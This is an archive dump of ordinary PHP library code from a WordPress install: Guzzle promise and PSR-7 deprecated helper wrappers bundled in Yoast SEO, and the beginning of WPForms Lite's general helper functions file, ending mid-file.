/**
* Adds a function to run in the task queue when it is next `run()` and returns
* a promise that is fulfilled or rejected with the result.
*
* @param callable $task Task function to run.
*
* @return PromiseInterface
*
* @deprecated task will be removed in guzzlehttp/promises:2.0. Use Utils::task instead.
*/
function task(callable $task)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::task($task);
}
/**
* Creates a promise for a value if the value is not a promise.
*
* @param mixed $value Promise or value.
*
* @return PromiseInterface
*
* @deprecated promise_for will be removed in guzzlehttp/promises:2.0. Use Create::promiseFor instead.
*/
function promise_for($value)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::promiseFor($value);
}
/**
* Creates a rejected promise for a reason if the reason is not a promise. If
* the provided reason is a promise, then it is returned as-is.
*
* @param mixed $reason Promise or reason.
*
* @return PromiseInterface
*
* @deprecated rejection_for will be removed in guzzlehttp/promises:2.0. Use Create::rejectionFor instead.
*/
function rejection_for($reason)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($reason);
}
/**
* Create an exception for a rejected promise value.
*
* @param mixed $reason
*
* @return \Exception|\Throwable
*
* @deprecated exception_for will be removed in guzzlehttp/promises:2.0. Use Create::exceptionFor instead.
*/
function exception_for($reason)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::exceptionFor($reason);
}
/**
* Returns an iterator for the given value.
*
* @param mixed $value
*
* @return \Iterator
*
* @deprecated iter_for will be removed in guzzlehttp/promises:2.0. Use Create::iterFor instead.
*/
function iter_for($value)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::iterFor($value);
}
/**
* Synchronously waits on a promise to resolve and returns an inspection state
* array.
*
* Returns a state associative array containing a "state" key mapping to a
* valid promise state. If the state of the promise is "fulfilled", the array
* will contain a "value" key mapping to the fulfilled value of the promise. If
* the promise is rejected, the array will contain a "reason" key mapping to
* the rejection reason of the promise.
*
* @param PromiseInterface $promise Promise or value.
*
* @return array
*
* @deprecated inspect will be removed in guzzlehttp/promises:2.0. Use Utils::inspect instead.
*/
function inspect(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::inspect($promise);
}
/**
* Waits on all of the provided promises, but does not unwrap rejected promises
* as thrown exception.
*
* Returns an array of inspection state arrays.
*
* @see inspect for the inspection state array format.
*
* @param PromiseInterface[] $promises Traversable of promises to wait upon.
*
* @return array
*
* @deprecated inspect will be removed in guzzlehttp/promises:2.0. Use Utils::inspectAll instead.
*/
function inspect_all($promises)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::inspectAll($promises);
}
/**
* Waits on all of the provided promises and returns the fulfilled values.
*
* Returns an array that contains the value of each promise (in the same order
* the promises were provided). An exception is thrown if any of the promises
* are rejected.
*
* @param iterable<PromiseInterface> $promises Iterable of PromiseInterface objects to wait on.
*
* @return array
*
* @throws \Exception on error
* @throws \Throwable on error in PHP >=7
*
* @deprecated unwrap will be removed in guzzlehttp/promises:2.0. Use Utils::unwrap instead.
*/
function unwrap($promises)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::unwrap($promises);
}
/**
* Given an array of promises, return a promise that is fulfilled when all the
* items in the array are fulfilled.
*
* The promise's fulfillment value is an array with fulfillment values at
* respective positions to the original array. If any promise in the array
* rejects, the returned promise is rejected with the rejection reason.
*
* @param mixed $promises Promises or values.
* @param bool $recursive If true, resolves new promises that might have been added to the stack during its own resolution.
*
* @return PromiseInterface
*
* @deprecated all will be removed in guzzlehttp/promises:2.0. Use Utils::all instead.
*/
function all($promises, $recursive = \false)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::all($promises, $recursive);
}
/**
* Initiate a competitive race between multiple promises or values (values will
* become immediately fulfilled promises).
*
* When count amount of promises have been fulfilled, the returned promise is
* fulfilled with an array that contains the fulfillment values of the winners
* in order of resolution.
*
* This promise is rejected with a {@see AggregateException} if the number of
* fulfilled promises is less than the desired $count.
*
* @param int $count Total number of promises.
* @param mixed $promises Promises or values.
*
* @return PromiseInterface
*
* @deprecated some will be removed in guzzlehttp/promises:2.0. Use Utils::some instead.
*/
function some($count, $promises)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::some($count, $promises);
}
/**
* Like some(), with 1 as count. However, if the promise fulfills, the
* fulfillment value is not an array of 1 but the value directly.
*
* @param mixed $promises Promises or values.
*
* @return PromiseInterface
*
* @deprecated any will be removed in guzzlehttp/promises:2.0. Use Utils::any instead.
*/
function any($promises)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::any($promises);
}
/**
* Returns a promise that is fulfilled when all of the provided promises have
* been fulfilled or rejected.
*
* The returned promise is fulfilled with an array of inspection state arrays.
*
* @see inspect for the inspection state array format.
*
* @param mixed $promises Promises or values.
*
* @return PromiseInterface
*
* @deprecated settle will be removed in guzzlehttp/promises:2.0. Use Utils::settle instead.
*/
function settle($promises)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::settle($promises);
}
/**
* Given an iterator that yields promises or values, returns a promise that is
* fulfilled with a null value when the iterator has been consumed or the
* aggregate promise has been fulfilled or rejected.
*
* $onFulfilled is a function that accepts the fulfilled value, iterator index,
* and the aggregate promise. The callback can invoke any necessary side
* effects and choose to resolve or reject the aggregate if needed.
*
* $onRejected is a function that accepts the rejection reason, iterator index,
* and the aggregate promise. The callback can invoke any necessary side
* effects and choose to resolve or reject the aggregate if needed.
*
* @param mixed $iterable Iterator or array to iterate over.
* @param callable $onFulfilled
* @param callable $onRejected
*
* @return PromiseInterface
*
* @deprecated each will be removed in guzzlehttp/promises:2.0. Use Each::of instead.
*/
function each($iterable, callable $onFulfilled = null, callable $onRejected = null)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Each::of($iterable, $onFulfilled, $onRejected);
}
/**
* Like each, but only allows a certain number of outstanding promises at any
* given time.
*
* $concurrency may be an integer or a function that accepts the number of
* pending promises and returns a numeric concurrency limit value to allow for
* dynamic a concurrency size.
*
* @param mixed $iterable
* @param int|callable $concurrency
* @param callable $onFulfilled
* @param callable $onRejected
*
* @return PromiseInterface
*
* @deprecated each_limit will be removed in guzzlehttp/promises:2.0. Use Each::ofLimit instead.
*/
function each_limit($iterable, $concurrency, callable $onFulfilled = null, callable $onRejected = null)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Each::ofLimit($iterable, $concurrency, $onFulfilled, $onRejected);
}
/**
* Like each_limit, but ensures that no promise in the given $iterable argument
* is rejected. If any promise is rejected, then the aggregate promise is
* rejected with the encountered rejection.
*
* @param mixed $iterable
* @param int|callable $concurrency
* @param callable $onFulfilled
*
* @return PromiseInterface
*
* @deprecated each_limit_all will be removed in guzzlehttp/promises:2.0. Use Each::ofLimitAll instead.
*/
function each_limit_all($iterable, $concurrency, callable $onFulfilled = null)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Each::ofLimitAll($iterable, $concurrency, $onFulfilled);
}
/**
* Returns true if a promise is fulfilled.
*
* @return bool
*
* @deprecated is_fulfilled will be removed in guzzlehttp/promises:2.0. Use Is::fulfilled instead.
*/
function is_fulfilled(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Is::fulfilled($promise);
}
/**
* Returns true if a promise is rejected.
*
* @return bool
*
* @deprecated is_rejected will be removed in guzzlehttp/promises:2.0. Use Is::rejected instead.
*/
function is_rejected(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Is::rejected($promise);
}
/**
* Returns true if a promise is fulfilled or rejected.
*
* @return bool
*
* @deprecated is_settled will be removed in guzzlehttp/promises:2.0. Use Is::settled instead.
*/
function is_settled(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Is::settled($promise);
}
/**
* Create a new coroutine.
*
* @see Coroutine
*
* @return PromiseInterface
*
* @deprecated coroutine will be removed in guzzlehttp/promises:2.0. Use Coroutine::of instead.
*/
function coroutine(callable $generatorFn)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Coroutine::of($generatorFn);
}
crosstraining/wp-content/plugins/wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/functions.php 0000644 00000034246 15114251402 0032644 0 ustar 00 home/xbodynamge <?php
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;
use YoastSEO_Vendor\Psr\Http\Message\MessageInterface;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
use YoastSEO_Vendor\Psr\Http\Message\UriInterface;
/**
* Returns the string representation of an HTTP message.
*
* @param MessageInterface $message Message to convert to a string.
*
* @return string
*
* @deprecated str will be removed in guzzlehttp/psr7:2.0. Use Message::toString instead.
*/
function str(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::toString($message);
}
/**
* Returns a UriInterface for the given value.
*
* This function accepts a string or UriInterface and returns a
* UriInterface for the given value. If the value is already a
* UriInterface, it is returned as-is.
*
* @param string|UriInterface $uri
*
* @return UriInterface
*
* @throws \InvalidArgumentException
*
* @deprecated uri_for will be removed in guzzlehttp/psr7:2.0. Use Utils::uriFor instead.
*/
function uri_for($uri)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::uriFor($uri);
}
/**
* Create a new stream based on the input type.
*
* Options is an associative array that can contain the following keys:
* - metadata: Array of custom metadata.
* - size: Size of the stream.
*
* This method accepts the following `$resource` types:
* - `Psr\Http\Message\StreamInterface`: Returns the value as-is.
* - `string`: Creates a stream object that uses the given string as the contents.
* - `resource`: Creates a stream object that wraps the given PHP stream resource.
* - `Iterator`: If the provided value implements `Iterator`, then a read-only
* stream object will be created that wraps the given iterable. Each time the
* stream is read from, data from the iterator will fill a buffer and will be
* continuously called until the buffer is equal to the requested read size.
* Subsequent read calls will first read from the buffer and then call `next`
* on the underlying iterator until it is exhausted.
* - `object` with `__toString()`: If the object has the `__toString()` method,
* the object will be cast to a string and then a stream will be returned that
* uses the string value.
* - `NULL`: When `null` is passed, an empty stream object is returned.
* - `callable` When a callable is passed, a read-only stream object will be
* created that invokes the given callable. The callable is invoked with the
* number of suggested bytes to read. The callable can return any number of
* bytes, but MUST return `false` when there is no more data to return. The
* stream object that wraps the callable will invoke the callable until the
* number of requested bytes are available. Any additional bytes will be
* buffered and used in subsequent reads.
*
* @param resource|string|int|float|bool|StreamInterface|callable|\Iterator|null $resource Entity body data
* @param array $options Additional options
*
* @return StreamInterface
*
* @throws \InvalidArgumentException if the $resource arg is not valid.
*
* @deprecated stream_for will be removed in guzzlehttp/psr7:2.0. Use Utils::streamFor instead.
*/
function stream_for($resource = '', array $options = [])
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($resource, $options);
}
/**
* Parse an array of header values containing ";" separated data into an
* array of associative arrays representing the header key value pair data
* of the header. When a parameter does not contain a value, but just
* contains a key, this function will inject a key with a '' string value.
*
* @param string|array $header Header to parse into components.
*
* @return array Returns the parsed header values.
*
* @deprecated parse_header will be removed in guzzlehttp/psr7:2.0. Use Header::parse instead.
*/
function parse_header($header)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Header::parse($header);
}
/**
* Converts an array of header values that may contain comma separated
* headers into an array of headers with no comma separated values.
*
* @param string|array $header Header to normalize.
*
* @return array Returns the normalized header field values.
*
* @deprecated normalize_header will be removed in guzzlehttp/psr7:2.0. Use Header::normalize instead.
*/
function normalize_header($header)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Header::normalize($header);
}
/**
* Clone and modify a request with the given changes.
*
* This method is useful for reducing the number of clones needed to mutate a
* message.
*
* The changes can be one of:
* - method: (string) Changes the HTTP method.
* - set_headers: (array) Sets the given headers.
* - remove_headers: (array) Remove the given headers.
* - body: (mixed) Sets the given body.
* - uri: (UriInterface) Set the URI.
* - query: (string) Set the query string value of the URI.
* - version: (string) Set the protocol version.
*
* @param RequestInterface $request Request to clone and modify.
* @param array $changes Changes to apply.
*
* @return RequestInterface
*
* @deprecated modify_request will be removed in guzzlehttp/psr7:2.0. Use Utils::modifyRequest instead.
*/
function modify_request(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $changes)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::modifyRequest($request, $changes);
}
/**
* Attempts to rewind a message body and throws an exception on failure.
*
* The body of the message will only be rewound if a call to `tell()` returns a
* value other than `0`.
*
* @param MessageInterface $message Message to rewind
*
* @throws \RuntimeException
*
* @deprecated rewind_body will be removed in guzzlehttp/psr7:2.0. Use Message::rewindBody instead.
*/
function rewind_body(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message)
{
\YoastSEO_Vendor\GuzzleHttp\Psr7\Message::rewindBody($message);
}
/**
* Safely opens a PHP stream resource using a filename.
*
* When fopen fails, PHP normally raises a warning. This function adds an
* error handler that checks for errors and throws an exception instead.
*
* @param string $filename File to open
* @param string $mode Mode used to open the file
*
* @return resource
*
* @throws \RuntimeException if the file cannot be opened
*
* @deprecated try_fopen will be removed in guzzlehttp/psr7:2.0. Use Utils::tryFopen instead.
*/
function try_fopen($filename, $mode)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::tryFopen($filename, $mode);
}
/**
* Copy the contents of a stream into a string until the given number of
* bytes have been read.
*
* @param StreamInterface $stream Stream to read
* @param int $maxLen Maximum number of bytes to read. Pass -1
* to read the entire stream.
*
* @return string
*
* @throws \RuntimeException on error.
*
* @deprecated copy_to_string will be removed in guzzlehttp/psr7:2.0. Use Utils::copyToString instead.
*/
function copy_to_string(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, $maxLen = -1)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::copyToString($stream, $maxLen);
}
/**
* Copy the contents of a stream into another stream until the given number
* of bytes have been read.
*
* @param StreamInterface $source Stream to read from
* @param StreamInterface $dest Stream to write to
* @param int $maxLen Maximum number of bytes to read. Pass -1
* to read the entire stream.
*
* @throws \RuntimeException on error.
*
* @deprecated copy_to_stream will be removed in guzzlehttp/psr7:2.0. Use Utils::copyToStream instead.
*/
function copy_to_stream(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $source, \YoastSEO_Vendor\Psr\Http\Message\StreamInterface $dest, $maxLen = -1)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::copyToStream($source, $dest, $maxLen);
}
/**
* Calculate a hash of a stream.
*
* This method reads the entire stream to calculate a rolling hash, based on
* PHP's `hash_init` functions.
*
* @param StreamInterface $stream Stream to calculate the hash for
* @param string $algo Hash algorithm (e.g. md5, crc32, etc)
* @param bool $rawOutput Whether or not to use raw output
*
* @return string Returns the hash of the stream
*
* @throws \RuntimeException on error.
*
* @deprecated hash will be removed in guzzlehttp/psr7:2.0. Use Utils::hash instead.
*/
function hash(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, $algo, $rawOutput = \false)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::hash($stream, $algo, $rawOutput);
}
/**
* Read a line from the stream up to the maximum allowed buffer length.
*
* @param StreamInterface $stream Stream to read from
* @param int|null $maxLength Maximum buffer length
*
* @return string
*
* @deprecated readline will be removed in guzzlehttp/psr7:2.0. Use Utils::readLine instead.
*/
function readline(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, $maxLength = null)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::readLine($stream, $maxLength);
}
/**
* Parses a request message string into a request object.
*
* @param string $message Request message string.
*
* @return Request
*
* @deprecated parse_request will be removed in guzzlehttp/psr7:2.0. Use Message::parseRequest instead.
*/
function parse_request($message)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::parseRequest($message);
}
/**
* Parses a response message string into a response object.
*
* @param string $message Response message string.
*
* @return Response
*
* @deprecated parse_response will be removed in guzzlehttp/psr7:2.0. Use Message::parseResponse instead.
*/
function parse_response($message)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::parseResponse($message);
}
/**
* Parse a query string into an associative array.
*
* If multiple values are found for the same key, the value of that key value
* pair will become an array. This function does not parse nested PHP style
* arrays into an associative array (e.g., `foo[a]=1&foo[b]=2` will be parsed
* into `['foo[a]' => '1', 'foo[b]' => '2'])`.
*
* @param string $str Query string to parse
* @param int|bool $urlEncoding How the query string is encoded
*
* @return array
*
* @deprecated parse_query will be removed in guzzlehttp/psr7:2.0. Use Query::parse instead.
*/
function parse_query($str, $urlEncoding = \true)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Query::parse($str, $urlEncoding);
}
/**
* Build a query string from an array of key value pairs.
*
* This function can use the return value of `parse_query()` to build a query
* string. This function does not modify the provided keys when an array is
* encountered (like `http_build_query()` would).
*
* @param array $params Query string parameters.
* @param int|false $encoding Set to false to not encode, PHP_QUERY_RFC3986
* to encode using RFC3986, or PHP_QUERY_RFC1738
* to encode using RFC1738.
*
* @return string
*
* @deprecated build_query will be removed in guzzlehttp/psr7:2.0. Use Query::build instead.
*/
function build_query(array $params, $encoding = \PHP_QUERY_RFC3986)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Query::build($params, $encoding);
}
/**
* Determines the mimetype of a file by looking at its extension.
*
* @param string $filename
*
* @return string|null
*
* @deprecated mimetype_from_filename will be removed in guzzlehttp/psr7:2.0. Use MimeType::fromFilename instead.
*/
function mimetype_from_filename($filename)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\MimeType::fromFilename($filename);
}
/**
* Maps a file extensions to a mimetype.
*
* @param $extension string The file extension.
*
* @return string|null
*
* @link http://svn.apache.org/repos/asf/httpd/httpd/branches/1.3.x/conf/mime.types
* @deprecated mimetype_from_extension will be removed in guzzlehttp/psr7:2.0. Use MimeType::fromExtension instead.
*/
function mimetype_from_extension($extension)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\MimeType::fromExtension($extension);
}
/**
* Parses an HTTP message into an associative array.
*
* The array contains the "start-line" key containing the start line of
* the message, "headers" key containing an associative array of header
* array values, and a "body" key containing the body of the message.
*
* @param string $message HTTP request or response to parse.
*
* @return array
*
* @internal
*
* @deprecated _parse_message will be removed in guzzlehttp/psr7:2.0. Use Message::parseMessage instead.
*/
function _parse_message($message)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::parseMessage($message);
}
/**
* Constructs a URI for an HTTP request message.
*
* @param string $path Path from the start-line
* @param array $headers Array of headers (each value an array).
*
* @return string
*
* @internal
*
* @deprecated _parse_request_uri will be removed in guzzlehttp/psr7:2.0. Use Message::parseRequestUri instead.
*/
function _parse_request_uri($path, array $headers)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::parseRequestUri($path, $headers);
}
/**
* Get a short summary of the message body.
*
* Will return `null` if the response is not printable.
*
* @param MessageInterface $message The message to get the body summary
* @param int $truncateAt The maximum allowed size of the summary
*
* @return string|null
*
* @deprecated get_message_body_summary will be removed in guzzlehttp/psr7:2.0. Use Message::bodySummary instead.
*/
function get_message_body_summary(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message, $truncateAt = 120)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::bodySummary($message, $truncateAt);
}
/**
* Remove the items given by the keys, case insensitively from the data.
*
* @param iterable<string> $keys
*
* @return array
*
* @internal
*
* @deprecated _caseless_remove will be removed in guzzlehttp/psr7:2.0. Use Utils::caselessRemove instead.
*/
function _caseless_remove($keys, array $data)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::caselessRemove($keys, $data);
}
home/xbodynamge/dev/wp-content/plugins/wpforms-lite/includes/functions.php 0000644 00000144162 15114275327 0023164 0 ustar 00 <?php
/**
* Contains various functions that may be potentially used throughout
* the WPForms plugin.
*
* @package WPForms
* @author WPForms
* @since 1.0.0
* @license GPL-2.0+
* @copyright Copyright (c) 2016, WPForms LLC
*/
/**
* Helper function to trigger displaying a form.
*
* @since 1.0.2
*
* @param mixed $form_id Form ID.
* @param bool $title Form title.
* @param bool $desc Form description.
*/
function wpforms_display( $form_id = false, $title = false, $desc = false ) {
wpforms()->frontend->output( $form_id, $title, $desc );
}
/**
* Performs json_decode and unslash.
*
* @since 1.0.0
*
* @param string $data
*
* @return array|bool
*/
function wpforms_decode( $data ) {
if ( ! $data || empty( $data ) ) {
return false;
}
return wp_unslash( json_decode( $data, true ) );
}
/**
* Performs json_encode and wp_slash.
*
* @since 1.3.1.3
*
* @param mixed $data
*
* @return string
*/
function wpforms_encode( $data = false ) {
if ( empty( $data ) ) {
return false;
}
return wp_slash( wp_json_encode( $data ) );
}
/**
* Check if a string is a valid URL.
*
* @since 1.0.0
*
* @param string $url
*
* @return bool
*/
function wpforms_is_url( $url ) {
if ( preg_match( '_^(?:(?:https?|ftp)://)(?:\S+(?::\S*)?@)?(?:(?!10(?:\.\d{1,3}){3})(?!127(?:\.\d{1,3}){3})(?!169\.254(?:\.\d{1,3}){2})(?!192\.168(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z\x{00a1}-\x{ffff}0-9]+-?)*[a-z\x{00a1}-\x{ffff}0-9]+)(?:\.(?:[a-z\x{00a1}-\x{ffff}0-9]+-?)*[a-z\x{00a1}-\x{ffff}0-9]+)*(?:\.(?:[a-z\x{00a1}-\x{ffff}]{2,})))(?::\d{2,5})?(?:/[^\s]*)?$_iuS', trim( $url ) ) ) {
return true;
}
return false;
}
/**
* Get current URL.
*
* @since 1.0.0
*
* @return string
*/
function wpforms_current_url() {
$url = ( ! empty( $_SERVER['HTTPS'] ) ) ? 'https://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
return esc_url_raw( $url );
}
/**
* Object to array.
*
* @since 1.1.7
*
* @param object $object
*
* @return mixed
*/
function wpforms_object_to_array( $object ) {
if ( ! is_object( $object ) && ! is_array( $object ) ) {
return $object;
}
if ( is_object( $object ) ) {
$object = get_object_vars( $object );
}
return array_map( 'wpforms_object_to_array', $object );
}
/**
* Get the value of a specific WPForms setting.
*
* @since 1.0.0
*
* @param string $key
* @param mixed $default
* @param string $option
*
* @return mixed
*/
function wpforms_setting( $key, $default = false, $option = 'wpforms_settings' ) {
$key = wpforms_sanitize_key( $key );
$options = get_option( $option, false );
$value = is_array( $options ) && ! empty( $options[ $key ] ) ? $options[ $key ] : $default;
return $value;
}
/**
* Sanitize key, primarily used for looking up options.
*
* @since 1.3.9
*
* @param string $key
*
* @return string
*/
function wpforms_sanitize_key( $key = '' ) {
return preg_replace( '/[^a-zA-Z0-9_\-\.\:\/]/', '', $key );
}
/**
* Check if form provided contains the specified field type.
*
* @since 1.0.5
*
* @param array|string $type
* @param array|object $form
* @param bool $multiple
*
* @return bool
*/
function wpforms_has_field_type( $type, $form, $multiple = false ) {
$form_data = '';
$field = false;
$type = (array) $type;
if ( $multiple ) {
foreach ( $form as $single_form ) {
$field = wpforms_has_field_type( $type, $single_form );
if ( $field ) {
break;
}
}
return $field;
}
if ( is_object( $form ) && ! empty( $form->post_content ) ) {
$form_data = wpforms_decode( $form->post_content );
} elseif ( is_array( $form ) ) {
$form_data = $form;
}
if ( empty( $form_data['fields'] ) ) {
return false;
}
foreach ( $form_data['fields'] as $single_field ) {
if ( in_array( $single_field['type'], $type, true ) ) {
$field = true;
break;
}
}
return $field;
}
/**
* Check if form provided contains a field which a specific setting.
*
* @since 1.4.5
*
* @param string $setting
* @param object|array $form
* @param bool $multiple
*
* @return bool
*/
function wpforms_has_field_setting( $setting, $form, $multiple = false ) {
$form_data = '';
$field = false;
if ( $multiple ) {
foreach ( $form as $single_form ) {
$field = wpforms_has_field_setting( $setting, $single_form );
if ( $field ) {
break;
}
}
return $field;
}
if ( is_object( $form ) && ! empty( $form->post_content ) ) {
$form_data = wpforms_decode( $form->post_content );
} elseif ( is_array( $form ) ) {
$form_data = $form;
}
if ( empty( $form_data['fields'] ) ) {
return false;
}
foreach ( $form_data['fields'] as $single_field ) {
if ( ! empty( $single_field[ $setting ] ) ) {
$field = true;
break;
}
}
return $field;
}
/**
* Checks if form provided contains page breaks, if so give details.
*
* @since 1.0.0
*
* @param mixed $form
*
* @return mixed
*/
function wpforms_has_pagebreak( $form = false ) {
$form_data = '';
$pagebreak = false;
$pages = 1;
if ( is_object( $form ) && ! empty( $form->post_content ) ) {
$form_data = wpforms_decode( $form->post_content );
} elseif ( is_array( $form ) ) {
$form_data = $form;
}
if ( empty( $form_data['fields'] ) ) {
return false;
}
$fields = $form_data['fields'];
foreach ( $fields as $field ) {
if ( 'pagebreak' === $field['type'] && empty( $field['position'] ) ) {
$pagebreak = true;
$pages ++;
}
}
if ( $pagebreak ) {
return $pages;
}
return false;
}
/**
* Tries to find and return an top or bottom pagebreak.
*
* @since 1.2.1
*
* @param mixed $form
* @param mixed $type
*
* @return array|bool
*/
function wpforms_get_pagebreak( $form = false, $type = false ) {
$form_data = '';
if ( is_object( $form ) && ! empty( $form->post_content ) ) {
$form_data = wpforms_decode( $form->post_content );
} elseif ( is_array( $form ) ) {
$form_data = $form;
}
if ( empty( $form_data['fields'] ) ) {
return false;
}
$fields = $form_data['fields'];
$pages = array();
foreach ( $fields as $field ) {
if ( 'pagebreak' === $field['type'] ) {
$position = ! empty( $field['position'] ) ? $field['position'] : false;
if ( 'pages' === $type && 'bottom' !== $position ) {
$pages[] = $field;
} elseif ( $position === $type ) {
return $field;
}
}
}
if ( ! empty( $pages ) ) {
return $pages;
}
return false;
}
/**
* Returns information about pages if the form has multiple pages.
*
* @since 1.3.7
*
* @param mixed $form
*
* @return mixed false or an array
*/
function wpforms_get_pagebreak_details( $form = false ) {
$form_data = '';
$details = array();
$pages = 1;
if ( is_object( $form ) && ! empty( $form->post_content ) ) {
$form_data = wpforms_decode( $form->post_content );
} elseif ( is_array( $form ) ) {
$form_data = $form;
}
if ( empty( $form_data['fields'] ) ) {
return false;
}
foreach ( $form_data['fields'] as $field ) {
if ( 'pagebreak' === $field['type'] ) {
if ( empty( $field['position'] ) ) {
$pages ++;
$details['total'] = $pages;
$details['pages'][] = $field;
} elseif ( 'top' === $field['position'] ) {
$details['top'] = $field;
} elseif ( 'bottom' === $field['position'] ) {
$details['bottom'] = $field;
}
}
}
if ( ! empty( $details ) ) {
if ( empty( $details['top'] ) ) {
$details['top'] = array();
}
if ( empty( $details['bottom'] ) ) {
$details['bottom'] = array();
}
$details['current'] = 1;
return $details;
}
return false;
}
/**
* Formats, sanitizes, and returns/echos HTML element ID, classes, attributes,
* and data attributes.
*
* @since 1.3.7
*
* @param string $id
* @param array $class
* @param array $datas
* @param array $atts
* @param bool $echo
*
* @return string
*/
function wpforms_html_attributes( $id = '', $class = array(), $datas = array(), $atts = array(), $echo = false ) {
$id = trim( $id );
$parts = array();
if ( ! empty( $id ) ) {
$id = sanitize_html_class( $id );
if ( ! empty( $id ) ) {
$parts[] = 'id="' . $id . '"';
}
}
if ( ! empty( $class ) ) {
$class = wpforms_sanitize_classes( $class, true );
if ( ! empty( $class ) ) {
$parts[] = 'class="' . $class . '"';
}
}
if ( ! empty( $datas ) ) {
foreach ( $datas as $data => $val ) {
$parts[] = 'data-' . sanitize_html_class( $data ) . '="' . esc_attr( $val ) . '"';
}
}
if ( ! empty( $atts ) ) {
foreach ( $atts as $att => $val ) {
if ( '0' == $val || ! empty( $val ) ) {
$parts[] = sanitize_html_class( $att ) . '="' . esc_attr( $val ) . '"';
}
}
}
$output = implode( ' ', $parts );
if ( $echo ) {
echo trim( $output ); // phpcs:ignore
} else {
return trim( $output );
}
}
/**
* Sanitizes string of CSS classes.
*
* @since 1.2.1
*
* @param array|string $classes
* @param bool $convert True will convert strings to array and vice versa.
*
* @return string|array
*/
function wpforms_sanitize_classes( $classes, $convert = false ) {
$array = is_array( $classes );
$css = array();
if ( ! empty( $classes ) ) {
if ( ! $array ) {
$classes = explode( ' ', trim( $classes ) );
}
foreach ( $classes as $class ) {
if ( ! empty( $class ) ) {
$css[] = sanitize_html_class( $class );
}
}
}
if ( $array ) {
return $convert ? implode( ' ', $css ) : $css;
}
return $convert ? $css : implode( ' ', $css );
}
/**
* Convert a file size provided, such as "2M", to bytes.
*
* @since 1.0.0
* @link http://stackoverflow.com/a/22500394
*
* @param string $size
*
* @return int
*/
function wpforms_size_to_bytes( $size ) {
if ( is_numeric( $size ) ) {
return $size;
}
$suffix = substr( $size, - 1 );
$value = substr( $size, 0, - 1 );
switch ( strtoupper( $suffix ) ) {
case 'P':
$value *= 1024;
case 'T':
$value *= 1024;
case 'G':
$value *= 1024;
case 'M':
$value *= 1024;
case 'K':
$value *= 1024;
break;
}
return $value;
}
/**
* Convert bytes to megabytes (or in some cases KB).
*
* @since 1.0.0
*
* @param int $bytes Bytes to convert to a readable format.
*
* @return string
*/
function wpforms_size_to_megabytes( $bytes ) {
if ( $bytes < 1048676 ) {
return number_format( $bytes / 1024, 1 ) . ' KB';
} else {
return round( number_format( $bytes / 1048576, 1 ) ) . ' MB';
}
}
/**
* Convert a file size provided, such as "2M", to bytes.
*
* @since 1.0.0
* @link http://stackoverflow.com/a/22500394
*
* @param bool $bytes
*
* @return mixed
*/
